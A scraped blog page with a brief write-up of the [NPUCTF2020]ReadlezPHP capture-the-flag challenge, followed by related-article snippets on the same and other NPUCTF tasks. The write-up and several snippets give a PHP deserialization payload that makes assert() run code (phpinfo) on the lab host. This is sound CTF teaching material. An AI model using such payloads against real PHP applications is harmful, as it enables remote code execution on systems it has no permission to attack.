[NPUCTF2020]ReadlezPHP

最新推荐文章于 2024-08-07 20:16:15 发布
最新推荐文章于 2024-08-07 20:16:15 发布
阅读量389 收藏 7
点赞数 10
文章标签： web安全
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/zzqzzq11/article/details/134770609
版权

http://4d44ec5f-881e-46d7-96be-a0192d351d4c.node4.buuoj.cn:81/time.php?data=O:8:"HelloPhp":2:

{s:1:"a";s:9:"phpinfo()";s:1:"b";s:6:"assert";} 可以看到很多函数被ban了。

WHU_Joe.
关注
BUUCTF [NPUCTF2020]芜湖
weixin_53349587的博客
01-09 3059
这道题是一个base64隐写，我们要先提取出所有的base加密值，然后用base隐写提取的函数，把flag提取出来，就得到了flag。 1.提取base值 本来想着用ida动调一下，应该可以提出来，结果值在堆上面，ida动调只能看到一半的base值，一点用也没有，没办法，就用pwn的pwndbg查看堆： 接下来就一直单步s运行下去，一个一个把base值提取出来，得到最终的base值： "55y85YmN6YeN5aSN55qE6aOO5pmvLG==", "5riQ5riQ5qih57OK5L
NPUCTF2020]ReadlezPHP
Hopeace的博客
10-20 2854
[NPUCTF2020]ReadlezPHP0x01 浏览题目0x02 分析题目php @0x03 复现0x04 补充 作者：Hopeace 靶机地址：https://buuoj.cn/challenges#[NPUCTF2020]ReadlezPHP 0x01 浏览题目 主页和源代码都没有什么有用的信息 抓包试试response里有木有东西 http://www.nwpu.edu.cn 西工大的宣传页面，对此题属于无用信息 扫目录，没有结果 再仔细看一遍源代码 ctrl + f 搜索.php看有没有泄露的
[NPUCTF2020]ReadlezPHP1
最新发布
kw741951的博客
08-07 217
此处未想到flag在phpinfo文件中，在网上才发现flag在phpinfo文件，因此构造序列化信息：O:8:"HelloPhp":2:{s:1:"a";ctrl+u查看源代码。看到php代码，打开。
[NPUCTF2020]ReadlezPHP 1[b(a)]
weixin_45577185的博客
10-16 155
f12发现了令一个网页，打开 发现代码，开始审计 __destruct()魔术方法： 属性b包裹住属性a 利用assert()函数 assert 判断一个表达式是否成立 assert()可以将整个字符串参数当作php参数执行。 构造反序列化 由b(a)可以构造b=assert,a=phpinfo ->assert(phpinfo()) 反序列化构造 payload:?data=O:8:"HelloPhp":2:{s:1:"a";s:9:"phpinfo()";s:1:"b";s:6:"assert"
[NPUCTF2020]Baby Obfuscation.exe.i64
06-02
Baby Obfuscation分析过程
[NPUCTF2020]共 模 攻 击
2er0!=O的博客
08-01 996
[NPUCTF2020]共 模 攻 击 附件： hint.py： from gmpy2 import * from Crypto.Util.number import * from secret import hint m = bytes_to_long(hint) p = getPrime(256) c = pow(m, 256, p) print(p) p, q = getPrime(256), getPrime(256) n = p * q e1, e2 = getPrime(32), getP
从以下代码中找到被藏起来的e，提示：在代码注释中。from Crypto.Util.number import * from gmpy2 import * from secret import flag p = getPrime(25) e = # Hidden q = getPrime(25) n = p * q m = bytes_to_long(flag.strip(b"npuctf{").strip(b"}")) c = pow(m, e, n) print(c) print(pow(2, e, n)) print(pow(4, e, n)) print(pow(8, e, n)) ''' 169169912654178 128509160179202 518818742414340 358553002064450
07-16
m = bytes_to_long(flag.strip(b"npuctf{").strip(b"}")) c = pow(m, e, n) print(c) print(pow(2, e, n)) print(pow(4, e, n)) print(pow(8, e, n)) ``` 在修改后的代码中，我们将 `e` 的值设置为 65537。
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值